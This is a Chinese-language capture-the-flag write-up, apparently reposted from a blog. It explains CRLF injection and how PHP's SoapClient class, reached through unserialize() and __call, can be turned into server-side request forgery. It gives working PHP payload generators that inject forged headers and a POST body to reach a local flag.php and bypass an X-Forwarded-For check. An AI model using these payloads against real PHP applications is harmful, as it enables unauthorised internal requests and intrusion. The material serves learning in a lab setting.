文章目錄
- 前言
- CRLF注入攻擊
- 本題需要重點關注的解構式
- SoapCLient+CRLF
- 代碼審計
- 參考文章
前言
如果在代碼審計中有反序列化點,但在代碼中找不到pop鏈,可以利用php內置類來進行反序列化
CRLF注入攻擊
CRLF是“回車+換行”(\r\n)的簡稱,其十六進制編碼分別為0x0d和0x0a,在HTTP協議中,HTTP header與HTTP Body是用兩個CRLF分隔的,瀏覽器就是根據這兩個CRLF來取出HTTP內容并顯示出來,所以,一旦我們能夠控制HTTP訊息頭中的字符,注入一些惡意的換行,這樣我們就能注入一些會話Cookie或者HTML代碼,CRLF漏洞常出現在Location與Set-cookie訊息頭中,
簡明理解CRLF攻擊
另外補充一下一個類似的,師傅們感興趣可以看看關于http走私攻擊和實戰大家可以參考下這篇文章:https://xz.aliyun.com/t/6654#toc-3
本題需要重點關注的解構式
__call 在物件中呼叫一個不可訪問方法時呼叫
在這道題中$vip->getFlag();因為呼叫了類中沒有的方法所以會導致__call的執行
本題需要用到的函式
SoapClient::__call
SoapCLient+CRLF
首先我們來配合requestbin測驗一下
<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://requestbin.net/r/1jm1cxz1'));
$b = serialize($a);
echo urlencode($b);
我們看看結果,從上圖可以看到,SOAPAction處可控,可以把\x0d\x0a注入到SOAPAction,POST請求的header就可以被控制,也就可以來執行我們想要的東西啦

另外一方面Content-Type在SOAPAction的上面,就無法控制Content-Typ,也就不能控制POST的資料,但是我們發現在header里User-Agent在Content-Type前面,所以可以配合它進行利用
<?php
$target = 'http://requestbin.net/r/xzlkkpxz';
$post_string = 'token=y4tacker';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'y4tacker^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);
從結果當中我們能看出成功了,下面進入本題

代碼審計
首頁
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
因此我們只需要把XFF頭改為127.0.0.1并以post方式傳入token即可
給出payload
🐻:(注意flag.php當中x-f-f頭加了以后X-Forwarded-For: 127.0.0.1,49.235.148.38, 172.69.35.19pop方法彈出兩個始終是49開頭那個,所以我們把url改為127.0.0.1配合繞過),發現不需要XFF頭其實下面headers完全可以不要
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
'X-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1',
'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'y4tacker^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);
參考文章
SoapClient反序列化SSRF
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/229798.html
標籤:其他
上一篇:藍橋杯2019年第十屆JavaB組真題題目+決議+代碼+答案:3.數列求值
下一篇:密碼學復習資料
